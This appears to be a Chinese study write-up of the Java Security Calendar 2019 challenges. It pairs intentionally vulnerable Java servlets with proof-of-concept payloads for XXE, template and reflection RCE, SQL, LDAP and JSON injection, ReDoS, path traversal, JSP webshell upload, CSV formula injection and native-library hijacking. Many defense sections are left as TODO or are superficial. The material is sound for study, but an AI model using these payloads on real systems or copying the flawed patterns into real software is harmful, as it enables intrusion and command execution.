JavaSecCalendar2019-Writeup学习

Day 1 - Candy Cane

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.jdom2.Content;
import org.jdom2.Document;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;

public class ImportDocument {
// This function extracts the text of an OpenOffice document
public static String extractString() throws IOException, JDOMException {
File initialFile = new File("uploaded_office_doc.odt");
InputStream in = new FileInputStream(initialFile);
final ZipInputStream zis = new ZipInputStream(in);
ZipEntry entry;
List<Content> content = null;
while ((entry = zis.getNextEntry()) != null) {
if (entry.getName().equals("content.xml")) {
final SAXBuilder sax = new org.jdom2.input.SAXBuilder();
sax.setFeature("http://javax.xml.XMLConstants/feature/secure-processing",true);
Document doc = sax.build(zis);
content = doc.getContent();
zis.close();
break;
}
}
StringBuilder sb = new StringBuilder();
if (content != null) {
for(Content item : content){
sb.append(item.getValue());
}
}
return sb.toString();
}
}

POC content.xml

1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE doc [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8888/test" >]>
<doc>&xxe;</doc>

将context.xml采用zip压缩为uploaded_office_doc.odt,放置于同目录下。

防御措施

1
2
3
4
5
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Document doc = builder.build(new File(fileName));

Day 2 - Eggnog Madness

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.json.*;

public class MainController{
private static String[] parseJsonAsArray(String rawJson, String field) {
JSONObject obj = new JSONObject(rawJson);
JSONArray arrJson = obj.getJSONArray(field);
String[] arr = new String[arrJson.length()];
for (int i = 0; i < arrJson.length(); i++) {
arr[i] = arrJson.getString(i);
}
return arr;
}

private static String parseJsonAsString(String rawJson, String field) {
JSONObject obj = new JSONObject(rawJson);
return obj.getString(field);
}

// rawJson is user-controlled.
public MainController(String rawJson) {
this(parseJsonAsString(rawJson, "controller"), parseJsonAsString(rawJson, "task"), parseJsonAsArray(rawJson, "data"));
}

private MainController(String controllerName, String task, String... data) {
try {
Object controller = !controllerName.equals("MainController") ? Class.forName(controllerName).getConstructor(String[].class).newInstance((Object) data) : this;
System.out.println(controller.getClass().getMethod(task));
controller.getClass().getMethod(task).invoke(controller);
} catch (Exception e1) {
try {
String log = "# [ERROR] Exception with data: " + data + " with exception " + e1;
System.err.println(log);
// DONE: VulnApp Security Bug #23517: Strip all "dots" so file extension does not lead to RCE
Runtime.getRuntime().exec(new String[]{"java", "-jar", "log4j_custom_dlogger.jar", log.replaceAll(".", "")});
// TODO: VulnApp Bug #24630: Logging is currently not working in v1.8,
// something with an ArgumentException, please have alook at that @peter
} catch (Exception e2) {
System.err.println("FATAL ERROR: " + e2);
}
}
}
}

POC

1
MainController MC = new MainController("{\"controller\":\"java.lang.ProcessBuilder\",\"task\":\"start\",\"data\":[\"ls\"]}");

防御措施:

TODO

Day 3 - Christmas Carols

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.VelocityContext;
import java.util.HashMap;
import java.io.*;
import java.util.Map;

public class TemplateRenderer extends HttpServlet {

private static final long serialVersionUID = -1915463532411657451L;

@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
VelocityEngine velocity;
velocity = new VelocityEngine();
velocity.init();
Map<String, Object> hm = new HashMap<String, Object>();
hm.put("user", request.getParameter("user"));
String template = request.getParameter("temp");
VelocityContext context = new VelocityContext(hm);
StringWriter tempWriter = new StringWriter(template.length());
velocity.evaluate(context, tempWriter, "renderFragment", template);
String rendered = tempWriter.toString();
response.getWriter().println(rendered);

}

@Override
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
//Do some other work
}



}

我把代码稍微修改了一下。很典型的velocity模版注入,rips给的poc

1
2
poc1
user=&temp=#set($s="")#set($stringClass=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("touch hacked.jsp"))$stringClass

1
2
3
4
5
6
7
8
9
10
11
带回显的poc2
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('whoami'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

防御措施:

TODO

Day 4 - Father Christmas

Source

1
2
3
4
5
6
7
8
9
10
11
12
import javax.servlet.http.*;

public class Login extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) {
String url = request.getParameter("url");
//only relative urls are allowed!
if (url.startsWith("/")) {
response.sendRedirect(url);
}
}
}

由于是使用response.sendRedirect,其最终是通过http头location进行跳转,所以只能造成重定向问题。

1
http://x.com/index.jsp?url=/evil.com

Day 5 - Wintertime

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javax.servlet.http.HttpServletRequest;
import java.util.Enumeration;

public class Request {
public static String toString(HttpServletRequest req) {
StringBuilder sb = new StringBuilder();
String delimiter = req.getParameter("delim");
Enumeration<String> names = req.getParameterNames();
while (names.hasMoreElements()) {
String name = names.nextElement();
if (!name.equals("delim")) {
sb.append("<b>" + name + "</b>:<br>");
String[] values = req.getParameterValues(name);
for (String val : values) {
sb.append(val);
sb.append(delimiter);
sb.append("<br>");
}
}
}
return sb.toString();
}
}

Tomcat默认限制post数据为2m,但是如果我们在url中,使用大量参数和字符,那么sb这个变量会变得非常大。因为StringBuilder的默认容量为16,每次append数据前会检查是否足够存放,如果不够,容量将会变为(oldcapacity*2)+2。因此如果我们提交恶意数据,很有可能造成内存不够,把java虚拟机搞挂。

防御措施:

不要随便向StringBuilder里append东西。

Day 6 - Yule

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.*;
import java.nio.file.*;
import javax.servlet.http.*;

public class ReadFile extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
try {
String url = request.getParameter("url");
String data = new String(Files.readAllBytes(Paths.get(url)));
} catch (IOException e) {
PrintWriter out = response.getWriter();
out.print("File not found");
out.flush();
}
//proceed with code
}
}

很明显的任意文件读取,不过这里还存在里一个问题,如果去读取/dev/urandom这类文件,因为是readAllBytes,而且不存在IO异常,就会把内存吃完,会造成dos.

Day 7 - Jingle Bells

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.fasterxml.jackson.core.*;
import javax.servlet.http.*;
import java.io.*;

public class ApiCache extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
storeJson(request, "/tmp/getUserInformation.json");
}

protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
loadJson();
}

public static void loadJson() {
// Deserialize to an HashMap object with Jackson's JsonParser and read the first 2 entries of the file.
}

public static void storeJson(HttpServletRequest request, String filename) throws IOException {
JsonFactory jsonobject = new JsonFactory();
JsonGenerator jGenerator = jfactory.createGenerator(new File(filename), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + request.getParameter("username") + "\"");
jGenerator.writeFieldName("permission");
jGenerator.writeRawValue("\"none\"");
jGenerator.writeEndObject();
jGenerator.close();
}
}

很明显的拼接造成的json注入,例如一个简单的poc:

1
?username=foo","permission":"all

防御措施:

对关键字符进行转义,例如”转义为\”.

Day 8 - Icicles

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.File;
import javax.servlet.http.*;

public class GetPath extends HttpServlet {
protected void doGet(HttpServletRequest request,
HttpServletResponse response) throws IOException {
try {
String icons = request.getParameter("icons");
String filename = request.getParameter("filename");

File f_icons = new File(icons);
File f_filename = new File(filename);

if (!icons.equals(f_icons.getName())) {
throw new Exception("File not within target directory!");
}

if (!filename.equals(f_filename.getName())) {
throw new Exception("File not within target directory!");
}

String toDir = "/var/myapp/data/" + f_icons.getName() + "/";
File file = new File(toDir, filename);

// Download file...
} catch(Exception e) {
response.sendRedirect("/");
}
}
}

乍一看,像是目录穿越,任意文件下载。仔细一看代码利用icons.equals(f_icons.getName())进行了简单的防御。只获取了最后的文件名,似乎无法进行目录穿越。但是如果我们将icons赋值为..则可以跳到上级目录,就可以下载上级目录的文件了。

防御措施:

把..和/这些东西都过滤掉

Day 9 - Chestnuts

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.*;
import java.util.regex.*;
import javax.servlet.http.*;

public class Validator extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");

PrintWriter out = response.getWriter();
if (isInWhiteList(request.getParameter("whitelist"), request.getParameter("value"))) {
out.print("Value is in whitelist.");
} else {
out.print("Value is not in whitelist.");
}
out.flush();
}

public static boolean isInWhiteList(String whitelist, String value) {
Pattern pattern = Pattern.compile("^[" + whitelist + "]+");
Matcher matcher = pattern.matcher(value);
return matcher.matches();
}
}

这个用户可以控制正则表达式和value的值,那么就可以传入一个很复杂的正则把cpu耗尽。这类漏洞称之为ReDoS.

1
whitelist=x]|((((a+)+)+)+)&value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Day 10 - Anticipation

Source

1
2
3
4
5
6
7
8
9
10
@RequestMapping("/webdav")
public void webdav(HttpServletResponse res, @RequestParam("name") String name) throws IOException {
res.setContentType("text/xml");
res.setCharacterEncoding("UTF-8");
PrintWriter pw = res.getWriter();
name = name.replace("]]", "");
pw.print("<person>");
pw.print("<name><![CDATA[" + name.replace(" ","") + "]]></name>");
pw.print("</person>");
}

用户可以控制传入的name的值,进而控制输出的xml,代码进行了简单的过滤,但是可以构造xss。

1
name = test] ]><something%3Ascript%09xmlns%3Asomething%3D"http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml">alert(1)<%2Fsomething%3Ascript><![CDATA[

经过测试,需要post方式提交,get方式是不行滴。

防御措施:

过滤再过滤

Day 11 - Carolers

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import javax.servlet.http.*;
import java.io.*;
import java.nio.file.Files;
import org.apache.commons.compress.archivers.ArchiveStreamFactory;
import org.apache.commons.compress.archivers.tar.*;
import org.apache.commons.io.IOUtils;

public class ExtractFiles extends HttpServlet {
private static void extract() throws Exception {
// /tmp/uploaded.tar is user controlled and an uploaded file.
final InputStream is = new FileInputStream(new File("/tmp/uploaded.tar"));
final TarArchiveInputStream tarInputStream = (TarArchiveInputStream) (new ArchiveStreamFactory().createArchiveInputStream(ArchiveStreamFactory.TAR, is));
File tmpDir = Files.createTempDirectory("test").toFile();
TarArchiveEntry entry;
while ((entry = tarInputStream.getNextTarEntry()) != null) {
File file = new File(tmpDir, entry.getName().replace("../", ""));
if (entry.isDirectory()) {
file.mkdirs();
} else {
IOUtils.copy(tarInputStream, new FileOutputStream(file));
}
}
is.close();
tarInputStream.close();
}
}

很明显 我们可以…/./来绕过过滤,进行目录穿越,进行写文件。

防御措施:

过滤再过滤。先规范路径,然后判断是不是在相应目录下。

Day 12 - Evergreen

Source

index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%@ page import="org.owasp.esapi.ESAPI" %>
<%! String customClass = "default"; %>
<html><body><%@ include file="init.jsp" %>

<div class="<%= customClass %>">
<%! String username; %>
<% username = request.getParameter("username"); %>
Welcome citizen, you have been identified as
<%
customClass = request.getParameter("customClass");
customClass = ESAPI.encoder().encodeForHTML(customClass);
%>
<div class="<%= customClass %>">
<%= ESAPI.encoder().encodeForHTML(username) %>.
</div></div></body></html>

init.jsp

1
<% customClass = request.getParameter("customClass"); %>

一个很简单的变量覆盖.
poc

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /web_war_exploded/index.jsp HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=AEA1D4B900A1C3E88DAFEF5768769A31
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

username=a&customClass="></div> <script>alert(1)</script>

防御措施

命名空间一定要规范好。

Day 13 - Epiphany

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import javax.servlet.http.*;
import java.io.*;
import java.util.List;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;

public class UploadFileController extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
ServletFileUpload upload = new ServletFileUpload(factory);

String uploadPath = getServletContext().getRealPath("") + "upload";
File uploadDir = new File(uploadPath);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
try {
List<FileItem> items = upload.parseRequest(request);
if (items != null && items.size() > 0) {
for (FileItem item : items) {
if (!item.isFormField()) {
if (!(item.getContentType().equals("text/plain"))) {
throw new Exception("ContentType mismatch");
}
String file = uploadPath + File.separator + item.getName();
File storeFile = new File(file);
item.write(storeFile);
}
}
}
} catch (Exception ex) {
response.sendRedirect("/");
}
}
}

很明显的跨越目录和任意文件上传.

1
2
Content-Disposition: form-data; name="uploadFile"; filename="../../../hacked.jsp"
Content-Type: text/plain

这样就可以直接传个jsp马上去.

防御措施

限制上传目录,限制文件类型.

Day 14 - Chimney

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.io.PrintWriter;
import java.util.*;
import javax.servlet.http.*;

public class Export extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
response.setContentType("text/csv");
response.setCharacterEncoding("UTF-8");
PrintWriter out = response.getWriter();

String content = buildCSV(request);
out.print(content);
out.flush();
}

public String buildCSV(HttpServletRequest request) {
{
StringBuilder str = new StringBuilder();

List<List<String>> rows = Arrays.asList(
Arrays.asList("Scott", "editor", request.getParameter("description"))
);

str.append("Name");
str.append(",");
str.append("Role");
str.append(",");
str.append("Description");
str.append("\n");

for (List<String> rowData : rows) {
str.append(String.join(",", rowData));
str.append("\n");
}

return str.toString();
}
}
}

这是一个CSV注入。可以在description变量处注入。然后ripstech说可以注入 excel的方程式,例如注入”=cmd|’/C calc.exe’!Z0”,然后在excel打开的时候,就可以调用系统命令,个人认为 利用条件过于苛刻。

防御措施

todo

Day 15 - Mistletoe

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.apache.commons.io.IOUtils;
import javax.servlet.http.*;
import java.io.*;
import java.util.*;

public class FindOnSystem extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
String[] binary = {"find", ".", "-type", "d"};
ArrayList<String> cmd = new ArrayList<>(Arrays.asList(binary));

String[] options = request.getParameter("options").split(" ");
for (String i : options) {
cmd.add(i);
}

ProcessBuilder processBuilder = new ProcessBuilder(cmd);
Process process = processBuilder.start();
IOUtils.copy(process.getInputStream(),response.getOutputStream());
} catch(Exception e) {
response.sendRedirect("/");
}
}
}

通过options的参数可以进行命令注入,我原本以为可以通过类似”&&”之类的进行随便注入,后来发现不行,因为ProcessBuilder的参数如果是List类型,后边的值都会被认为是第一个命令的参数。所以我们需要find命令可以执行外部命令的参数,-exec可以。所以可以构造poc
?options=-exec cat /etc/passwd ;

防御措施

todo

Day 16 - Candles

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.Serializable;
import javax.persistence.*;

@Entity
@DynamicUpdate
@Table(name = "UserEntity", uniqueConstraints = {
@UniqueConstraint(columnNames = "ID"),
@UniqueConstraint(columnNames = "EMAIL") })
public class UserEntity implements Serializable {
public UserEntity(String email, String firstName, String lastName) {
this.email = email;
this.firstName = firstName;
this.lastName = lastName;
}

private static final long serialVersionUID = -1798070786993154676L;

@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name = "ID", unique = true, nullable = false)
private Integer userId;

@Column(name = "EMAIL", unique = true, nullable = false, length = 100)
private String email;

@Column(name = "FIRST_NAME", unique = false, nullable = false, length = 100)
private String firstName;

@Column(name = "LAST_NAME", unique = false, nullable = false, length = 100)
private String lastName;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.hibernate.*;
import org.springframework.web.bind.annotation.RequestParam;

public class FindController {
public String escapeQuotes(String in){
return in.replaceAll("'","''");
}

@RequestMapping("/findUsers")
public void findUsers(@RequestParam(name="name") String name, HttpServletResponse res) throws IOException{
Configuration config = new Configuration();
// Create SessionFactory with MySQL driver
SessionFactory sessionFactory = config.configure().buildSessionFactory();
Session session = sessionFactory.openSession();
List <UserEntity> users = session.createQuery("from UserEntity where FIRST_NAME ='" + escapeQuotes(name) + "'", UserEntity.class).list();
res.getWriter().println("Found " + users.size() + " Users with that name");
}
}

很明显的注入,只是简单的将单引号替换两个单引号,那么我们只需要用一个简单的转义符就可以绕过,例如”\”符号.
poc

1
test\' or 1=sleep(1) -- -

防御措施

TODO

Day 17 - Carol Singers

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;
import javax.servlet.http.*;

public class JavaDeobfuscatorStartupController extends HttpServlet {
private static boolean isInBlacklist(String input) {
String[] blacklist = {"java","os","file"};
return Arrays.asList(blacklist).contains(input);
}

private static void setEnv(String key, String value) {
String[] values = key.split(Pattern.quote("."));
if (isInBlacklist(values[0])) {
return;
}

List<String> list = new ArrayList<>(Arrays.asList(values));
list.removeAll(Arrays.asList("", null));
String property = String.join(".", list);
System.setProperty(property, value);
}

private static void loadEnv(HttpServletRequest request) {
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++)
if (cookies[i].getName().equals("env")) {
String[] tmp = cookies[i].getValue().split("@", 2);
setEnv(tmp[0], tmp[1]);
}
}

private static void uploadFile() {
// Secure file upload with arbitrary content type and extension in known path /var/myapp/data
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
loadEnv(request);
try {
final Field sysPathsField = ClassLoader.class.getDeclaredField("sys_paths");
sysPathsField.setAccessible(true);
sysPathsField.set(null, null);
System.loadLibrary("DEOBFUSCATION_LIB");
} catch (Exception e) {
response.sendRedirect("/");
}
}
}

第一步 先上传恶意库文件,第二步给他加载进去.上传恶意库文件名则必须为libDEOBFUSCATION_LIB.so,第二步我们则需要给他加载进去,我们需要修改java库文件路径.
poc

1
curl -v --cookie 'env=.java.library.path@/var/myapp/data'

java加载库文件 命名规则:

1
2
3
Windows: "hello" -> "hello.dll"
Linux/Solaris: "hello" "libhello.so"
Mac: "hello" -> "libhello.dylib"

防御措施

TODO

Day 18 - Reindeer

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.apache.tomcat.util.http.fileupload.IOUtils;
import javax.servlet.http.*;
import java.util.HashMap;

public class LoadConfig extends HttpServlet {
public static HashMap<String, String> parseRequest(String value) {
HashMap<String, String> result = new HashMap<String, String>();
if (value != null) {
String tmp[] = value.split("@");
for (int i = 0; i < tmp.length; i = i + 2) {
result.put(tmp[i], tmp[i + 1]);
}
}
return result;
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) {
if (request.getParameter("home") != null) {
HttpSession session = request.getSession(true);
if (!session.isNew()){
if (validBasicAuthHeader()) { // Checks the Basic Authorization header (password check)
// Execute last command:
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command((String)session.getAttribute("last_command"));
try {
Process process = processBuilder.start();
IOUtils.copy(process.getInputStream(), response.getOutputStream());
}
catch (Exception e){
return;
}
}
}
} else if (request.getParameter("save_session") != null) {
String value = request.getParameter("config");
HashMap<String, String> config = parseRequest(value);
for (String i : config.keySet()) {
Cookie settings = new Cookie(i, config.get(i));
response.addCookie(settings);
}
} else {
HttpSession session = request.getSession(true);
if (session.isNew()) {
HashMap<String, String> whitelist = new HashMap<String, String>();
whitelist.put("home", "yes");
whitelist.put("role", "frontend");

String value = request.getParameter("config");
HashMap<String, String> config = parseRequest(value);

whitelist.putAll(config);
for (String i : whitelist.keySet()) {
session.setAttribute(i, whitelist.get(i));
}
}
}
}
}

明显的命令注入,第一步我们要让被执行的命令放到session里,第二步,去执行就完事了。
第一步 我们需要通过config参数,将我们要执行的命令放到session里,?config=last_command@whoami,第二步,我们去执行一下,?home=yes.但是我看了官方的writeup,他中间加了一步,就是将自己的session给管理员,然后让管理员绕过check,最后执行命令.官方的writeup

1
2
3
4
curl "http://victim.org/?config=last_command@ls" -v
Send link to admin and execute the following requests in the background:
http://victim.org/?config=JSESSIONID@D4E9132DB9703009B1C932E7C37286ED&save_session=yes
http://victim.org/?home=yes

Day 19 - Gingerbread

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import javax.script.ScriptEngineManager;
import javax.servlet.http.*;
import javax.script.ScriptEngine;
import java.io.IOException;
import java.util.regex.*;

public class RenderExpression extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");

String dynamiceCodeHere = request.getParameter("p");
if (!dynamiceCodeHere.startsWith("\"")) {
throw new Exception();
}

Pattern p = Pattern.compile("([^\".()'\\/,a-zA-z\\s\\\\])|(processbuilder|file|url|runtime|getclass|forname|loadclass|new\\s)");
Matcher m = p.matcher(dynamiceCodeHere.toLowerCase());
if (m.find()) {
throw new Exception();
}

scriptEngine.eval(dynamiceCodeHere);
// Proceed
} catch(Exception e) {
response.sendRedirect("/");
}
}
}

这里我们要构造一个命令注入,p参数的值需双引号开头,然后又过滤了一些常见的执行命令的方法。我是没构造出来怎么注入,参考一下官方吧。巧妙的使用””空字符串,然后调用equals方法,去利用ScriptEnginemanger的eval方法进行反射执行,中间还利用replaceAll绕过了过滤,真巧妙啊。

1
victim.org/?p="".equals(javax.script.ScriptEngineManager.class.getConstructor().newInstance().getEngineByExtension("js").eval("java.lang.Auntime.getAuntime().exec(\"touch /tmp/owned.jsp\")".replaceAll("A","R")))

防御措施

TODO

Day 20 - Ornaments

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import javax.naming.*;
import javax.naming.directory.*;
import java.util.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.*;

public class UserController extends HttpServlet {
// This token is SHA-256(createTimestamp of admin user)
private static final String api_token = "1c4e98fc43d0385e67cd6de8c32f969f371eba8ab84053858b5bfd21a2adb471";

private static void executeCommand(String user_token, String[] cmd) {
if (user_token.equals(api_token)) {
// Execute shell command
}
}

/**
* Current attributes of objectClass "simpleSecurityObject":
* createtimestamp, creatorsname, dn, entrycsn, entrydn, entryuuid, objectclass, userpassword, uuid
*/
private static DirContext initLdap() throws NamingException {
Hashtable<String, Object> env = new Hashtable<String, Object>();
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=example,dc=org");
env.put(Context.SECURITY_CREDENTIALS, "admin");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:389/");
return new InitialDirContext(env);
}

private static boolean userExists(DirContext ctx, String username) throws Exception {
String[] security_blacklist = {"uuid", "userpassword", "surname", "mail", "givenName", "name", "cn", "sn", "objectclass", "|", "&"};
for (String name : security_blacklist) {
if (username.contains(name)) {
throw new Exception();
}
}

String searchFilter = "(&(objectClass=simpleSecurityObject)(uid="+username+"))";
SearchControls searchControls = new SearchControls();
searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
NamingEnumeration<SearchResult> results = ctx.search("dc=example,dc=org", searchFilter, searchControls);
if (results.hasMoreElements()) {
SearchResult searchResult = (SearchResult) results.nextElement();
return searchResult != null;
}
return false;
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
DirContext ctx = initLdap();
if(userExists(ctx, request.getParameter("username"))){
response.getOutputStream().print("User is found.");
response.getOutputStream().close();
}
} catch (Exception e) {
response.sendRedirect("/");
}
}
}

一个ldap注入,但是过滤了一些关键词,不过我们可以对createTimestamp进行注入,所以我们可以构造poc

1
2
?username=admin)(createTimestamp=2*
?username=admin)(createTimestamp=20*

猜出来createTimestamp然后进行命令执行。

防御措施

TODO

Day 21 - Snowman

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import javax.crypto.*;
import javax.crypto.spec.*;
import org.apache.commons.codec.binary.Hex;

public class Decrypter{

@RequestMapping("/decrypt")
public void decrypt(HttpServletResponse req, HttpServletResponse res) throws IOException, NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, NoSuchPaddingException, DecoderException, InvalidKeySpecException {

// Payload to decrypt: 699c99a4f27a4e4c310d75586abe8d32a8fc21a1f9e400f22b1fec7b415de5a4
byte[] cipher = Hex.decodeHex(req.getParameter("c"));
byte[] salt = new byte[]{(byte)0x12,(byte)0x34,(byte)0x56,(byte)0x78,(byte)0x9a,(byte)0xbc,(byte)0xde};
// Extract IV.
byte[] iv = new byte[16];
System.arraycopy(cipher, 0, iv, 0, iv.length);
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);

byte[] encryptedBytes = new byte[cipher.length - 16];
System.arraycopy(cipher, 16, encryptedBytes, 0, cipher.length - 16);
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
// Of course the password is not known by the attacker - just for testing purposes
KeySpec spec = new PBEKeySpec("SuperSecurePassword".toCharArray(), salt, 65536, 128);
SecretKey key = factory.generateSecret(spec);
SecretKeySpec secretKeySpec = new SecretKeySpec(key.getEncoded(), "AES");
// Decrypt.
try {
Cipher cipherDecrypt = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);
byte[] decrypted = cipherDecrypt.doFinal(encryptedBytes);
// Do something.
} catch (BadPaddingException e) {
res.getWriter().println("Invalid Padding!!");
}
}
}

AES/CBC存在padding oracle问题。网上又很多详细的文章了,不再缀诉。

防御措施

TODO

Day 22 - Fruitcake

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.io.IOUtils;
import java.net.*;
import javax.servlet.http.*;

public class ReadExternalUrl extends HttpServlet {

private static URLConnection getUrl(String target) {
try{
// Don't allow redirects:
HttpURLConnection.setFollowRedirects(false);

URL url = new URL(target);
if(!url.getProtocol().startsWith("http"))
throw new Exception("Must start with http!.");

InetAddress inetAddress = InetAddress.getByName(url.getHost());
if (inetAddress.isAnyLocalAddress() || inetAddress.isLoopbackAddress() || inetAddress.isLinkLocalAddress())
throw new Exception("No local urls allowed!");

HttpURLConnection conn = (HttpURLConnection) url.openConnection();
return conn;
}
catch (Exception e) {
return null;
}
}

protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
try{
URLConnection conn = getUrl(request.getParameter("url"));
conn.connect();
String redirect = conn.getHeaderField("Location");
if(redirect != null) {
URL url = new URL(redirect);
if(redirect.indexOf("http://") == -1) {
throw new Exception("No http found!");
}
if(getUrl(redirect.substring(redirect.indexOf("http://"))) != null) {
conn = url.openConnection();
conn.connect();
}
}
// Output content of url
IOUtils.copy(conn.getInputStream(),response.getOutputStream());
}
catch (Exception e) {
System.exit(-1);
}
}
}

